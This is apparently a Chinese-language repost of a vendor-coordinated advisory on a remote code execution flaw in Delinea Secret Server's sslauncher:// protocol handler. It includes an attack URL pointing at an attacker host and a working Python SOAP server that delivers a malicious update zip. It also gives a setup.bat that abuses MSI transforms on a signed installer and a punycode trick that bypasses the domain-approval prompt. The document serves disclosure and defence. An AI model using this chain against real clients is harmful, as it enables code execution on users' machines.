概括
Secret Server 协议处理程序促进 Secret Server 与客户端计算机之间的通信。它还提供启动器运行所需的文件。当用户启动启动器时,协议处理程序:
引导客户端应用程序。
通过 HTTP(S) 与 Secret Server 通信以确保它是最新版本,并在必要时启动升级。
引导目标启动器类型并开始安全登录用户的过程。
Delinea 协议处理程序的 sslauncher URL 处理程序中存在远程代码执行漏洞。恶意攻击者可利用此漏洞在用户计算机上执行任意代码。
影响
远程攻击者可能会诱使用户访问恶意网页或打开恶意文档,从而触发易受攻击的 URL 处理程序,从而使他们在用户的计算机上执行任意代码。这可能使攻击者能够安装恶意软件、窃取数据或以其他方式获得网络的远程访问权限。
受影响的版本
6.0.3.28 Secret Server 11.7 的发布说明指出:“如果您的协议处理程序版本为 6.0.3.26 或更低版本,则必须手动升级到更高版本。自动升级不适用于 6.0.3.26 或更低版本。但是,如果您的协议处理程序版本为 6.0.3.27 或更高版本,则自动升级将正常运行。”由于该漏洞使用自动更新功能,因此旧版本可能不会受到影响。
时间线
2024-09-09:向 Delinea 报告漏洞
2024-09-10:收到 Delinea 的确认
2024-11-28:AmberWolf 告知该问题已在 Secret Server 11.7.000049 中修复
2024-12-26:AmberWolf 公告发布。
描述
Delinea Secret Server Protocol Handler 软件使用 sslauncher:// 方案注册自定义 URI 处理程序
图像
下面的截图显示了通过 Edge 调用的处理程序:
图像
这将导致以下进程启动:
"C:\Program Files\Thycotic Software Ltd\Secret Server Protocol Handler\RDPWin.Bootstrapper.exe" "sslauncher://aaaa/"
public List<string> GetDisallowedQueryStringParameters()
{
Regex regex = new Regex("^[a-zA-Z0-9\\.-]+$", RegexOptions.Compiled | RegexOptions.Singleline);
List<string> list = new List<string>();
foreach (string text in base.Keys)
{
if (!regex.IsMatch(text))
{
list.Add(text);
}
}
return list;
}
这会导致拒绝包含特殊字符的参数。验证继续进行,并检查 sslauncher URL 中可接受的参数列表:
private readonly List<string> _knownQueryStringParameters = new List<string> { "ssurl", "guid", "type", "sessionGuid", "apiVersion", "autoUpdateEnabled" };
public List<string> GetUnknownQueryStringParameters()
{
List<string> list = new List<string>();
foreach (string text in base.Keys)
{
if (!this._knownQueryStringParameters.Contains(text, StringComparer.OrdinalIgnoreCase))
{
list.Add(text);
}
}
return list;
}
例如,以下内容将被拒绝:
sslauncher://aaaa/?badparameter=bbb
但这是可以接受的:
sslauncher://aaaa/?ssurl=bbb
下一个验证步骤检查是否已提供 ssurl 参数,它是否可以用于创建有效的 Uri 对象以及是否具有包含至少三个子目录的路径:
if (!queryStringInfo.TryGetValue("ssurl", out text5) || !Uri.TryCreate(text5, UriKind.Absolute, out uri))
{
Program.Log.Error("No valid Secret Server URL provided");
IoC.Resolve<IMessageBox>().Show("The Secret Server Launcher failed to load.\n\nNo valid Secret Server URL was provided.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
所以我们的 sslauncher 值现在必须看起来像这样:
sslauncher://aaaa/?ssurl=https://www.attacker.com/aaa/bbb/ccc
接下来根据注册表设置进行检查,以确定是否已配置域允许列表:
if (allowedDomains != null && allowedDomains.Count > 0 && !registrySettings.AllowedDomains.Contains(uri.Host, StringComparer.OrdinalIgnoreCase))
{
Program.Log.Error("AllowedDomains registry key does not allow connecting to host at " + uri.Host + ", quitting.");
IoC.Resolve<IMessageBox>().Show("The Secret Server Launcher failed to load.\n\nYour configuration settings do not allow connecting to the Secret Server installation at " + uri.Host + ".", "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
在协议处理程序的默认安装中,此注册表值为空,因此跳过检查,并且代码继续对 ssurl 参数中提供的域进行 TLS 证书检查:
public bool GetAndVerifyCertificate()
{
string components = this._uri.GetComponents(UriComponents.SchemeAndServer, UriFormat.Unescaped);
string text = string.Format("{0}/{1}", this._uri.GetComponents(UriComponents.SchemeAndServer, UriFormat.Unescaped), this._uri.GetComponents(UriComponents.Path, UriFormat.Unescaped));
if (!string.Equals(this._uri.Scheme, "https", StringComparison.OrdinalIgnoreCase))
{
this._log.Warn("Could not validate HTTPS certificate: Secret Server URL is not HTTPS (" + text + ")");
this._messageBox.Show("You must connect to Secret Server using HTTPS.\nCurrent URL: " + text + "\n\nFor assistance, please contact your administrator.\n\n", "HTTPS Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
return false;
}
ServicePointManager.CheckCertificateRevocationList = true;
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(components);
httpWebRequest.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(this.CertificateValidator);
httpWebRequest.AllowAutoRedirect = false;
try
{
using (httpWebRequest.GetResponse())
{
}
}
catch (Exception ex)
{
if (this._sslPolicyErrors == null)
{
this._log.Error("Unspecified error occurred when attempting to connect to Secret Server for HTTPS validation", ex);
this._messageBox.Show("Unable to connect to Secret Server to verify its HTTPS certificate:\n\n" + ex.Message + "\n\nPlease try again later.", "Unable to Connect", MessageBoxButtons.OK, MessageBoxIcon.Hand);
return false;
}
if (this._sslPolicyErrors.Value == SslPolicyErrors.None)
{
this._log.Debug("HTTPS validation succeeded without error for " + components);
return true;
}
if (this.AreCurrentErrorsBypassed())
{
return true;
}
return this.DisplayErrorsAndPrompt();
}
this._log.Debug("HTTPS validation succeeded without error for " + components);
return true;
}
这可以通过获取 Web 服务器的有效 TLS 证书来满足。之后,将 ssurl 域与存储在以下文件中的先前验证过的域列表进行比较:
%APPDATA%\Thycotic\SSUA.dat
如果无法匹配之前批准的域名之一,则会出现类似下图的提示。我们稍后会讨论如何绕过此检查。
图像
接受此提示后将继续检查 sslauncher 值中是否存在布尔 autoUpdateEnabled 参数,例如:
sslauncher://aaaa/?ssurl=https://www.attacker.com/aaa/bbb/ccc&autoUpdateEnabled=true
当设置为 true 时,这会强制代码沿着一条路径通过 GetNextProtocolHandlerVersion 检查软件的更新版本,这会向“ssurl”参数中定义的 URL 发出 SOAP 请求:
[SoapDocumentMethod("urn:thesecretserver.com/GetNextProtocolHandlerVersion", RequestNamespace = "urn:thesecretserver.com", ResponseNamespace = "urn:thesecretserver.com", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
public string GetNextProtocolHandlerVersion(string existingVersion)
{
return (string)base.Invoke("GetNextProtocolHandlerVersion", new object[]
{
existingVersion
})[0];
}
SOAP 主体如下所示,调用 GetCurrentProtocolHandlerVersion 方法:
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><GetCurrentProtocolHandlerVersion xmlns="urn:thesecretserver.com" /></soap:Body></soap:Envelope>
预期响应包含一个 GetCurrentProtocolHandlerVersionResult 值,该值告知客户端 SSProtocolHandler 软件的最新版本号。
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd=" http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/en velope/">
<soap:Body>
<GetCurrentProtocolHandlerVersionResponse xmlns="urn:thesecretserver.com">
<GetCurrentProtocolHandlerVersionResult>9.9</GetCurrentProtocolHandlerVers ionResult>
</GetCurrentProtocolHandlerVersionResponse>
</soap:Body>
</soap:Envelope>
然后将该版本号与当前安装的版本进行比较,然后检查注册表中的密钥Software\ThycoticProtocolHandler\ForceAutoUpdate。同样,此注册表不是默认设置的,因此在协议处理程序的标准安装中,将允许自动更新。
如果需要更新,代码将继续通过 SOAP 请求向 ssurl 参数中定义的相同 URL 请求新版本的安装程序,通过调用 GetNewVersionMsi 函数,该函数检查文件扩展名并在对硬编码文件名的响应中写出数据:
public string GetNewVersionMsi(string url, string specificVersion = null)
{
string result;
using (RdpWebService rdpWebService = new RdpWebService())
{
rdpWebService.Url = url;
rdpWebService.UserAgent = WebserviceHandler.UserAgent.Value;
byte[] array = (specificVersion != null) ? rdpWebService.GetSpecificVersion(specificVersion) : rdpWebService.GetNewVersion();
string tempPath = Path.GetTempPath();
string path;
if (this.IsZipFile(array))
{
path = "SSProtocolHandler.zip";
}
else
{
path = "SSProtocolHandler.msi";
}
string text = Path.Combine(tempPath, path);
File.Delete(text);
File.WriteAllBytes(text, array);
result = text;
}
return result;
}
byte[] 数组值由 GetNewVersionResult 字符串的 base64 解码值填充,如下面的示例 SOAP 响应所示:
'<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd=" http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/en velope/">
<soap:Body>
<GetNewVersionResponse xmlns="urn:thesecretserver.com">
<GetNewVersionResult>UEsDBBQAAAAIAEyJCVl9vedCOwAAADwAAAAbAAAAU1NQcm90b2Nvb EhhbmRsZXIvc2V0dXAuYmF0yy3OTK1ITVbQz1TILc6MCQ4OKMovyU/Oz/FIzEvJSS3SA4oqhAQ5+gW7+ Qf5BtsqJZcWl+TnAoVLlABQSwECFAAUAAAACABMiQlZfb3nQjsAAAA8AAAAGwAAAAAAAAABACAAAAAAA AAAU1NQcm90b2NvbEhhbmRsZXIvc2V0dXAuYmF0UEsFBgAAAAABAAEASQAAAHQAAAAAAA</GetNewVer sionResult>
</GetNewVersionResponse>
</soap:Body>
</soap:Envelope>
然后,应用程序根据生成的文件是 .zip 文件还是 .msi 文件做出决定。如果是 zip 文件,则将内容提取到临时目录并SSProtocolHandler\setup.bat读取文件的内容:
text5 = Path.Combine(tempPath, Guid.NewGuid().ToString());
ZipFile.ExtractToDirectory(newVersionMsi, text5);
text6 = Enumerable.FirstOrDefault<string>(File.ReadLines(Path.Combine(text5, "SSProtocolHandler", "setup.bat")));
执行命令链检查:
if (string.IsNullOrWhiteSpace(text6) || !text6.StartsWith("msiexec /i msi\\SSProtocolHandler.msi") || text6.Contains("&"))
{
Program.Log.Error("Invalid batch file command in downloaded update: " + text6);
IoC.Resolve<IMessageBox>().Show("The Secret Server Launcher failed to load.\n\nAuto-update is enabled, but the downloaded update batch file is invalid. You may be the victim of a phishing attack.", "Invalid Update Downloaded", MessageBoxButtons.OK, MessageBoxIcon.Hand);
return;
}
然后定义一个字符串(text7),表示从 zip 文件中提取的 MSI 文件的完整路径:
text7 = Path.Combine(text5, "SSProtocolHandler", "msi", "SSProtocolHandler.msi");
对 MSI 文件进行检查,以确保它具有来自特定 Delinea 机构的有效签名,防止内容在执行之前被修改:
bool flag5 = SignatureVerification.HasValidSignature(text7);
bool flag6 = SignatureVerification.HasDelineaSignature(text7);
不是直接运行 .bat 文件,而是提取 msiexec 命令行以及任何自定义参数。然后将其与 MSI 文件的路径(存储在 text7 中)组合并传递给 Process.Start() 参数:
Process.Start(new ProcessStartInfo
{
FileName = "msiexec.exe",
Arguments = "/i \"" + text7 + "\" " + array[3],
UseShellExecute = false
});
虽然我们可以强制应用程序尝试从解压的 zip 中执行任意 MSI 文件,但修改文件会破坏签名并阻止文件运行。由于可以为 msiexec.exe 命令指定任意参数,因此可以通过在 zip 中包含 .MST 文件(MSI 转换)并在命令参数中引用它来规避这种情况:
msiexec /i msi\\SSProtocolHandler.msi TRANSFORMS="delinea.mst"
这会导致 msiexec 搜索并将转换应用于已签名的 MSI,从而影响其运行时的行为。例如,AdvancedInstaller 工具用于创建一个转换,该转换在执行 MSI 时运行一个简单的 PowerShell 脚本。
以下概念验证可通过适当的 TLS 证书进行托管。请注意,zip 内容必须包含由 Delinea 签名的 MSI 文件 - 出于演示目的,SSSessionConnector 安装程序(https://updates.thycotic.net/secretserver/tools/SSSessionConnector.zip)被重命名并使用,因为它的大小相对较小。
from http.server import BaseHTTPRequestHandler, HTTPServer
import ssl
import logging
import base64
class SimpleSOAPHandler(BaseHTTPRequestHandler):
def _set_headers(self, content_type="text/xml"):
self.send_response(200)
self.send_header('Content-type', content_type)
self.end_headers()
def do_GET(self):
logging.info("GET request received. Path: %s", self.path)
self._set_headers()
self.wfile.write(b"GET request processed.")
def do_POST(self):
content_length = int(self.headers['Content-Length']) # Get the size of data
post_data = self.rfile.read(content_length) # Read the data
logging.info("POST request received. Path: %s", self.path)
logging.info("POST request body:\n%s", post_data.decode('utf-8'))
print("Reading in zip file")
zip_file= open("payload.zip","rb")
zip_data_binary = zip_file.read()
zip_data = (base64.b64encode(zip_data_binary)).decode('ascii')
# Check if the post_data matches the expected SOAP request
if b"GetCurrentProtocolHandlerVersion" in post_data:
response = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCurrentProtocolHandlerVersionResponse xmlns="urn:thesecretserver.com">
<GetCurrentProtocolHandlerVersionResult>9.9</GetCurrentProtocolHandlerVersionResult>
</GetCurrentProtocolHandlerVersionResponse>
</soap:Body>
</soap:Envelope>'''
self._set_headers()
self.wfile.write(response.encode('utf-8'))
elif b"GetNewVersion" in post_data:
print("New version requested")
response = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetNewVersionResponse xmlns="urn:thesecretserver.com">
<GetNewVersionResult>''' + zip_data + '''</GetNewVersionResult>
</GetNewVersionResponse>
</soap:Body>
</soap:Envelope>'''
#print("Sending response: " + response)
self._set_headers()
self.wfile.write(response.encode('utf-8'))
else:
self.send_response(400) # Bad request
self.end_headers()
def run(server_class=HTTPServer, handler_class=SimpleSOAPHandler, port=443, cert_file="fullchain.pem", key_file="privkey.pem"):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
# SSL configuration using SSLContext
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=cert_file, keyfile=key_file)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
logging.info('Starting https server on port %d...', port)
httpd.serve_forever()
if __name__ == "__main__":
run()
压缩文件内容:
payload.zip
└───SSProtocolHandler
│ delinea.mst
│ setup.bat
│
└───msi
delinea.mst
SSProtocolHandler.msi
setup.bat文件内容如下:
msiexec /i msi\\SSProtocolHandler.msi TRANSFORMS="delinea.mst"
要触发处理程序并运行 MSI,可以使用以下 URL:
sslauncher://aaaaaaa/?ssurl=https://hostingdomain.com/aaaa/bbbb/cccc&autoUpdateEnabled=true&apiversion=1
绕过警告
正如我们前面提到的,在某些情况下,可以绕过用户在针对新域使用协议处理程序时收到的批准对话框。
在某些情况下,可以利用 C# 中 Uri 和字符串对象之间的解析器差异来绕过对先前授权域的检查。
检查 ssurl 域是否已预先批准的代码位于 RDPWin.Business.dll 中的 RDPWin.Bootstrapper.SecretServerUrlApprovalHelper.GetSecretServerUrlApproval() 函数中,该函数将 ssurl 域作为字符串,并将其与 %APPDATA%\Thycotic\SSUA.dat 中存储的值进行比较:
public static SecretServerUrlApprovalBase GetSecretServerUrlApproval(string ssUrl)
{
IMessageBox messageBox = IoC.Resolve<IMessageBox>();
ISecretServerUrlApprovalProvider secretServerUrlApprovalProvider = IoC.Resolve<ISecretServerUrlApprovalProvider>();
string ssUrlBase = SecretServerUrlApprovalHelper.GetSecretServerUrlBase(ssUrl);
if (ssUrlBase == null)
{
throw new ArgumentException("Invalid Secret Server URL: " + ssUrl);
}
SecretServerUrlApprovals secretServerUrlApprovals = secretServerUrlApprovalProvider.GetSecretServerUrlApprovals();
SecretServerUrlApprovalBase secretServerUrlApprovalBase = secretServerUrlApprovals.Approvals.FirstOrDefault((SecretServerUrlApprovalBase approval) => approval.SecretServerUrl == ssUrlBase);
if (secretServerUrlApprovalBase != null)
{
SecretServerUrlApprovalHelper._log.Debug("Existing host approval found for URL " + ssUrlBase);
return secretServerUrlApprovalBase;
}
string messageText = "Secret Server Launcher is attempting to launch with the following Secret Server URL:\r\n\r\n " + ssUrlBase + "\r\n\r\nIf you did not expect this launch attempt, or this Secret Server URL is incorrect, do not continue and contact a system administrator immediately.\r\n\r\nWas this launch expected and do you approve of this Secret Server URL?";
DialogResult dialogResult = messageBox.Show(messageText, "Secret Server Launcher Attempt", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question);
if (dialogResult == DialogResult.Cancel)
{
SecretServerUrlApprovalHelper._log.Debug("Canceled URL approval for " + ssUrlBase);
return null;
}
SecretServerUrlApprovalBase secretServerUrlApprovalBase2 = new SecretServerUrlApprovalBase
{
SecretServerUrl = ssUrlBase,
Approved = (dialogResult == DialogResult.Yes)
};
secretServerUrlApprovals.Approvals.Add(secretServerUrlApprovalBase2);
secretServerUrlApprovalProvider.SaveSecretServerUrlApprovals(secretServerUrlApprovals);
SecretServerUrlApprovalHelper._log.Debug("Added URL approval for " + ssUrlBase);
return secretServerUrlApprovalBase2;
}
该函数中有很多事情要做,所以我们将深入研究每个部分。首先,调用 GetSecretServerUrlBase() 函数,并将 ssurl 值传递给它。此函数的目的是在比较之前从 URL 中规范化域。此函数的代码是:
public static string GetSecretServerUrlBase(string ssUrl)
{
string result;
try
{
Uri uri = new Uri(ssUrl);
string text = uri.GetLeftPart(UriPartial.Path);
string leftPart = uri.GetLeftPart(UriPartial.Scheme);
text = text.Substring(leftPart.Length);
for (int i = 0; i < 3; i++)
{
int length = text.LastIndexOf("/", StringComparison.Ordinal);
text = text.Substring(0, length);
}
text = leftPart + text;
result = text.ToLower();
}
catch (Exception)
{
result = null;
}
return result;
}
在提取域之前,首先将 ssurl 字符串对象转换为 Uri 对象,然后调用 ToLower() 函数将字符串转换为小写。虽然这在执行字符串比较时是一种很好的做法,但实验表明 toLower() 会将一些 unicode 字符转换为不同的 ASCII 表示形式。
使用一个小型测试工具通过 GetSecretServerUrlBase() 函数运行整个 unicode 字符范围,以确定输入字符与 toLower() 调用结果之间的任何差异。以下两个字符似乎提供了有用的替换。
图像
可以使用上述字符生成 punycode url,例如:
注册 xn–delinea-9he.com 作为域名将允许创建以下有效负载(假设受害者已经接受 company.delinea.com 作为批准端点):
sslauncher://aaaaaaa/?ssurl=https://xn--delinea-9he.com/aaaa/bbbb/cccc&autoUpdateEnabled=true&apiversion=1
绕过的根本原因是:
任何 Web 请求(例如,检查新版本或获取更新的 MSI)都是使用 Uri 对象执行的,该对象可以正确处理 punycode 编码的字符串并向恶意 delİnea.com 网站发出请求。
toLower() 操作所创建的字符串用于与已批准站点列表进行比较。由于 U+0130 字符已转换为常规“i”,因此如果存储的域名为 delinea.com,则会导致比较失败。
因此,如果攻击者能够使用上述 punycode 绕过技术构建 URL,则用户将不会看到“Secret Server 正在尝试启动以下 URL”的警告。
推荐
Delinea 发布了协议处理程序 (6.0.3.31) 的修补版本,可防止加载转换。Secret Server 版本 11.7.000049 的发行说明中详细介绍了这一点:
https://docs.delinea.com/online-help/secret-server/release-notes/ss-rn-11-7-000049.htm#SecretServer117000049ReleaseNotes
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这